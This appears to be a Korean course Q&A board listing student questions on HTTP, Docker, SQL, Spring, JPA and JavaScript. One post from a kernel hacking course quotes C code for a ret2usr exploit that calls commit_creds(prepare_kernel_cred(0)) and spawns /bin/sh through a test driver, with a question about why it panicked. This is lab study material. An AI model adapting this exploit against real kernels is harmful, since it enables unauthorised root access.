묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결모든 개발자를 위한 HTTP 웹 기본 지식
json 데이터 전달시 질문이 있습니다!
안녕하세요! 커리큘럼을 다 듣고 http 개념 복습차원에서 열심히 강의를 듣고있는 학생입니다!!! 제가 지금까지 권한에 대한건 jwt의 access, refresh 토큰으로 헤더에 넣어서 주고 받았었는데 혹시 권한 말고도 json 데이터를 주고받을 때 암호화가 필요한 부분이 있을까요?? 어디선가 제가 body에 json 데이터를 암호화를 해서 줘야한다는 말을 들었는데 구글링해도 잘 안나오더라구요ㅜ 이러한 말을 듣고 생각해보니까 access토큰 탈취 위험성 때문에 refresh토큰이 나온거라고 알고있었는데 그러면 http 메세지의 헤더부분은 탈취가 가능하다는건데 바디 부분도 탈취가 가능해서 이러한 말이 나온건가..? 이러한 생각도 들더라구요..ㅜㅜ 제가 잘못 들은걸 수도있지만 제가 실무 경험이 없는 취준생이라 api 개발할때 이러한 문제가 존재하는지, 존재한다면 고려를 해야하는지 궁금해서 영한선생님께 글을 작성하게되었습니다..!!
-
미해결따라하며 배우는 MySQL on Docker
리눅스 환경에서 도커로 컨테이너를 여러개 만든 후 이를 각 리눅스 계정에 할당해 줄 수 있나요?
리눅스 환경에서 도커로 컨테이너를 여러개 만든 후 이를 각 리눅스 계정에 할당해 줄 수 있나요?
-
미해결따라하며 배우는 도커와 CI환경 [2023.11 업데이트]
리눅스 환경에서 도커로 컨테이너를 여러개 만든 후 이를 각 리눅스 계정에 할당해 줄 수 있나요?
리눅스 환경에서 도커로 컨테이너를 여러개 만든 후 이를 각 리눅스 계정에 할당해 줄 수 있나요?
-
미해결[백문이불여일타] 데이터 분석을 위한 중급 SQL
해커랭크에서 CASE 관련 문제들
안녕하세요, 개념 이해하고 문제를 풀어야 개념 이해도가 더 높아지더라구요, 그래서 강의에서 해주는 문제풀이 말고도 해커랭크에서 GROUP BY 또는 CASE를 이용하는 문제들을 풀어보고 싶은데 입문자라 문제 제목만 보아서는 어떤 유형의 문제들인지 알수가 없어서요, 혹시 SQL 안에서도 이런 개념을 적용하는 문제를 풀고 싶다 설정할 수가 있나요??
-
미해결[리뉴얼] React로 NodeBird SNS 만들기
질문있습니다.
안녕하세요 제로초님! db에 데이터 저장할때 아래코드처럼 저장 하고 있습니다. 좀더 효과적인 방법이 있는지 궁금해서 질문을 올립니다. 데이터가 몇개 없을때는 상관없을것 같은데 많을때는 어떤식으로 디비에 저장하면 될까요?매번 좋은 답변감사합니다. const created = await this.productRepository.save({ title: createProductDto.title, company: createProductDto.company, description: createProductDto.description, name: createProductDto.name, phone: createProductDto.phone, brokerageConsignment: createProductDto.brokerageConsignment.join(','), requiredMaterials: createProductDto.requiredMaterials, selectMaterials: createProductDto.selectMaterials, comment: createProductDto.comment, creativeStaff: createProductDto.creativeStaff, genre: JSON.stringify(createProductDto.genre), mainAudience: JSON.stringify(createProductDto.mainAudience), sizeOfPerformance: createProductDto.sizeOfPerformance, castMembers: createProductDto.castMembers, changeScenario: createProductDto.changeScenario, performanceVideo: createProductDto.performanceVideo, plan: createProductDto.planningDocument, synopsis: createProductDto.synopsis, poster: createProductDto.posterURL, pcBackground: createProductDto.pcBackground, mobileBackground: createProductDto.mobileBackground, performanceInformationURL: createProductDto.performanceInformationURL, numberList: JSON.stringify(createProductDto.numberList), isCheckInformation: createProductDto.isCheckInformation, category: createProductDto.category, year: createProductDto.year, creativeStaff_total: createProductDto.creativeStaff_total, totalTime: createProductDto.runningTime, provider: findUser, progress: ProgressEnum.INPROGRESS, createdAt: new Date(), updatedAt: new Date(), deletedAt: null, });
-
미해결[C#과 유니티로 만드는 MMORPG 게임 개발 시리즈] Part6: 웹 서버
Unable to complete SSL connection 문제가 발생을 합니다.
Unable to complete SSL connection이 발생하는데 별도로 인증을 해줘야 하는것인가요? Unable to complete SSL connection[0] [ ]안에 리스폰스코드가 0이 나오네요
-
미해결스프링 핵심 원리 - 기본편
SOLID 정신에 대한 질문입니다.
다른 곳에서 자바강의를 수강하고 듣는 중입니다. 다름이 아니라 그분께서는 SOLID 정신, 아니 원칙을 유연한 소프트웨어 설계 및 대규모 프로젝트에 사용하는 것을 제외하고는 매우 비판적으로 설명 하셨습니다. 20년된 마케팅 적인 용어라고요... 이점에 대해서 선생님의 견해가 궁금합니다.
-
미해결반응형 웹사이트 포트폴리오(Architecture Agency)
기능정의서 작성을 해보려고 하는데요 pdf 파일이 어디에 있나요?
기능정의서 작성을 해보려고 하는데요 pdf 파일이 어디에 있나요?
-
미해결스프링 MVC 1편 - 백엔드 웹 개발 핵심 기술
콘솔창 색깔 바꾸는 방법
콘솔창 글씨가 다 흰색이니까 구분이 잘안가서 강사님처럼 바꾸고 싶어서 찾아봤습니다 프로젝트에 application.properties 파일을 사용하시면 이렇게 입력해주시고 서버를 재시작하면 적용됩니다 복붙-> spring.output.ansi.enabled=ALWAYS 프로젝트에 application.yml 파일을 사용하시면 (yml 파일은 띄어쓰기 주의) 이렇게 입력해주시고 서버를 재시작하면 이렇게 글자색이 바뀐채로 출력됩니다 프로젝트마다 application 파일에 코드 복붙하는게 귀찮을거 같아서 찾아본 결과 VM Options에서 -Dspring.output.ansi.enabled=ALWAYS 를 추가해주면 인텔리제이를 실행 했을 때 전체 프로젝트에 적용이 된다고 하는데 전 아무리 해도 적용이 안돼서 포기했습니다 혹시 전체 프로젝트에 적용하는 방법을 아시는분이 계시면 댓글로 알려주시면 감사하겠습니다
-
스프링 입문 - 코드로 배우는 스프링 부트, 웹 MVC, DB 접근 기술
콘솔에 대해서 질문을 하고 싶습니다..
삭제된 글입니다
-
미해결몇 줄로 끝내는 인터랙티브 웹 개발 노하우 [초급편]
질문있습니다~
두가지 질문이 있습니다~ 첫번째는 let curser_item; 을 밖으로 빼줄때 document.getElementsByClassName("curser_item")[0]; 도 같이 빼주지않는 이유가 있을까요?let curser_item = 0; 이라고 안넣는 이유는 무엇인가요?두번째 질문은 document.querySelector(selectors);를 쓰면 [0] 배열을 안써도 되나요?
-
미해결리눅스 커널 해킹. A부터 Z까지
이론강의 자료 다운로드 문의
안녕하세요? 강의 잘 듣고 있습니다. 이론 강의 자료는 다운로드 불가능한가요??
-
해결됨[리뉴얼] React로 NodeBird SNS 만들기
안녕하세요 제로초님
이번 강의에서 swr을 도입하셨는데 제가 이해한게 맞다면 리덕스와는 완전히 별개라고 봐도 되나요? 그렇다면 극단적으로 생각했을 때 넥스트에 리덕스와 리덕스 사가 도입없이 swr만 도입해도 현재와 비슷하게 구현이 가능한가요? swr은 데브툴즈를 사용할 수 없는데 리덕스에 비해서 디버깅이 많이 어렵지는 않을까요..?
-
미해결자바 ORM 표준 JPA 프로그래밍 - 기본편
영한센세 members를 가져오는 과정에 대해서 질문이 있습니다!!!
제가 이해한 바로는 Team team = new Team(); team.setName("TeamA"); entityManager.persist(team); Member member = new Member(); member.setUsername("member1"); member.setTeam(team); entityManager.persist(member);// team.getMembers().add(member);// entityManager.flush();// entityManager.clear(); Team findTeam = entityManager.find(Team.class, team.getId()); List<Member> members = findTeam.getMembers(); for (Member m : members) { System.out.println("member = " + m.getUsername()); } (위의 코드는 강의에서 작성해주셨던 코드와 동일합니다) 제가 이해한 바로는 "flush, clear를 하지 않음으로써 그 상태의 영속성 컨텍스트에 등록된 Team과 Member 기준으로 members의 값을 가져오기 때문에 System.out.println("member = " + m.getUsername()); 위 코드에 대한 출력이 되지 않는것으로 이해했습니다 ㅠㅠ!" 제가 이해한 바가 맞을까요 센세...? 이게 만약 맞다면 "추가적으로 " flush 와 clear를 하는 과정에서 "원래 commit 시점에 쿼리가 발생하여 1차 캐시 혹은 DB에 값을 적재하는것이 정상이지만 flush 를 사용하는 시점에 해당과정을 즉시 실행하여 데이터를 적재시키고 다음으로 clear를 함으로써 비영속상태로 만들어 getMembers(); 시에 JOIN쿼리를 발생시켜 members와 관련된 데이터를 반영시킨다고 이해하였습니다." 마지막으로 "getMembers를 하는 과정에서 Member들을 가져오는 join 쿼리를 날리는 과정은 무조건 비영속 상태이어야만 하는지가 궁금합니다." 질문이 많았죠 센세... 항상 넘나 재밌게 잘 보고 있습니다~!!! JPA를 실무에서 사용한적이 없어서... 이런저런 궁금한점이 참 많습니당... 항상 감사합니다!!!!!
-
미해결리눅스 커널 해킹. A부터 Z까지
ret2usr 기법 관련 질문있습니다.
안녕하세요. ret2usr 실습을 해보다가 궁금한 점이 생겨서 질문드립니다. /* gcc -masm=intel -static -o test_exp test_exp.c -no-pie */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdint.h> unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); void payload(void) { commit_creds(prepare_kernel_cred(0)); execl("/bin/sh", "sh", NULL); } int main() { int fd; void *ptr = 0; commit_creds = 0xffffffff8108e9f0; prepare_kernel_cred = 0xffffffff8108ec20; fd = open("/dev/test", O_RDWR); ptr = &payload; printf("Shell executing...\n"); write(fd, &ptr, sizeof(ptr)); close(fd); printf("Shell executed?\n"); return 0; } payload함수의 주소를 넘겨주고, 이걸 커널에서 fp_exec() 로 실행할 수 있으니,위의 코드처럼 그냥 shell 함수를 commit_creds(prepare_kernel_cred(0)) 이후에 execl 을 하도록 수정한 뒤, test 드라이버에 shell 함수의 주소를 넘겨서 테스트해보았습니다. 결과적으로는 커널 패닉이 났고, gdb 로 어느정도 디버깅을 해보았지만 심볼이 없다보니 정확히 어느 부분에서 패닉이 나는지 찾기 어렵더라구요. 그래서 커널 모드에서 유저 모드로의 전환없이 execv 시스템콜을 호출하려고 해서 패닉이 났을거라고 추측은 해봤는데, 이 추측이 맞은 것인지 궁금합니다.
-
미해결초보자도 만들 수 있는 스크롤 인터렉션. 1편 자바스크립트
2:40
`${}` 이렇게 쓰는 것을 배운적이 잇는데 해당 부분에서는 ``부분이 없고 ${} 이 아이만 써주었던데.. 왜 그런건지 혹시 알 수 있을까요? function 앞에 $이거를 왜 써준 것인지도 궁금해요..ㅠㅠ 혹시 jquery 개념도 알아야하나요? html,css, javascript로만해서 따라갈 수 있을 줄 알았는데 너무 어렵네요..하 어려워서 자바스크립트 배우고 이제 들어보려 했더니 코드가 튕겨 나가버리네요. 제이쿼리를 다시 배우고 와야하는건가..
-
미해결실전! 스프링 부트와 JPA 활용1 - 웹 애플리케이션 개발
안녕하세요! 동적쿼리에 대한 질문이 있습니다.
현재 2년차가 되가고 있는 주니어개발자입니다 ( _ _) 아직 경험이 많이 없어 현재 쿼리를 처리하는 퍼시스턴트 프레임워크를 mybaits 정도 밖에 써보지 못 했습니다 선생님께서 말씀하신 것처럼 쿼리를 JPQL로 작성해서 처리할 수 있다고 하셨는데... 아래는 제가 mybatis로 api 처리하고 있는 쿼리입니다. 이런 다소 지저분하고 복잡한 쿼리도 실무에서는 JPQL로 처리를 하나요??? SELECT /* windowClosingPosData */ b.paymentType ,MAX(b.gdName) as gdName ,b.payMethod ,SUM(b.personCnt) as personCnt /* 수량 */ ,SUM(b.price) as price /* 금액 */ ,SUM(b.discountCount) as discountCnt /* 할인매수 */ ,SUM(b.discountAmount) as discount /* 할인금액 */FROM ( SELECT a.paymentType ,a.gdName ,a.payMethod ,( CASE WHEN a.paymentType = 'PAY' THEN a.ticketCount WHEN a.paymentType = 'CANCEL' THEN a.refundCount ELSE 0 END ) as personCnt /* 수량 */ ,( CASE WHEN a.paymentType = 'PAY' THEN a.ticketAmount WHEN a.paymentType = 'CANCEL' THEN a.refundAmount ELSE 0 END ) as price /* 금액 */ ,a.discountCount /* 할인 수량 */ ,a.discountAmount /* 할인 금액 */ FROM ( SELECT 'PAY' as paymentType ,gd.gd_name as gdName ,pm.pm_pay_method as payMethod ,rd.init_rs_ticket_cnt as ticketCount /* 발권매수 */ ,(rd.init_rs_ticket_cnt * rd_price) as ticketAmount /* 발권금액 */ ,0 as refundCount /* 환불매수 */ ,0 as refundAmount /* 환불금액 */ ,( CASE WHEN ifnull(rd.dc_unit_price,0) > 0 THEN rd.init_rs_ticket_cnt ELSE 0 END ) as discountCount /* 할인매수 */ ,(rd.init_rs_ticket_cnt * rd.dc_unit_price) as discountAmount FROM t_reserve_detail rd INNER JOIN t_reserve rs ON rd.rs_seq = rs.rs_seq INNER JOIN t_goods gd ON rs.gd_seq = gd.gd_seq INNER JOIN t_payment pm ON rs.rs_seq = pm.rs_seq AND pm.pm_payment_type = 'PAY' WHERE EXISTS ( SELECT trdp.rs_seq FROM t_reserve_detail_person trdp WHERE trdp.tkt_date = DATE_FORMAT(#{searchDate}, '%Y%m%d') AND trdp.idkey = #{idkey} AND trdp.tkt_win_cd = #{winCd} AND trdp.rs_seq = rs.rs_seq ) AND (rs.gd_package_yn = 'Y' OR (rs.rs_package_yn = 'N' AND rs.gd_package_yn = 'N')) AND rs.insert_idkey = #{memberSeq} UNION ALL SELECT 'CANCEL' as paymentType ,gd.gd_name as gdName ,pm.pm_pay_method as payMethod ,0 as ticketCount /* 발권매수 */ ,0 as ticketAmount /* 발권금액 */ ,rd.cancel_ticket_cnt as refundCount /* 환불매수 */ ,(rd.cancel_ticket_cnt * rd_price) as refundAmount /* 환불금액 */ ,0 as discountCount /* 할인매수 */ ,0 as discountAmount FROM t_reserve_detail rd INNER JOIN t_reserve rs ON rd.rs_seq = rs.rs_seq INNER JOIN t_goods gd ON rs.gd_seq = gd.gd_seq INNER JOIN t_payment pm ON rs.rs_seq = pm.rs_seq AND pm.pm_payment_type = 'PAY' WHERE EXISTS ( SELECT trdp.rs_seq FROM t_reserve_detail_person trdp WHERE trdp.tkt_date = DATE_FORMAT(#{searchDate}, '%Y%m%d') AND trdp.idkey = #{idkey} AND trdp.cancel_win_cd = #{winCd} AND trdp.cancel_member_seq = #{memberSeq} AND trdp.rs_seq = rs.rs_seq ) AND (rs.gd_package_yn = 'Y' OR (rs.rs_package_yn = 'N' AND rs.gd_package_yn = 'N')) AND rs.rs_status = 'D' ) a) bGROUP BY b.paymentType ,b.payMethodORDER BY b.payMethod, b.paymentType DESC JPQL 강의도 들을 계획이지만 이렇게 복잡한 부분을 java단에서 처리한다는게 상상이 되지 않아서 질문드려봅니다 ㅠㅠ
-
미해결[백문이불여일타] 데이터 분석을 위한 기초 SQL
숫자입력할 때는 홑따옴표 안쓰나요?
문자 입력시에만 홑따옴표를 쓰는건가요???
-
미해결[백문이불여일타] 데이터 분석을 위한 기초 SQL
NULL 값을 찾을 때요,
여러개 열에 널값이 있는 경우에 AND나 OR을 이용해서 널값을 찾을 수 있나요? 예를 들면, NAME과 CITY 모두 널값인 경우나, 아니면 NAME 또는 CITY가 널값인 경우를 모두 찾고 싶을 때요! WHERE NAME IS NULL AND(또는 OR) CITY IS NULL; 이렇게 하면 되나요??
-
스프링 MVC 1편 - 백엔드 웹 개발 핵심 기술
th:href 질문 있습니다.
삭제된 글입니다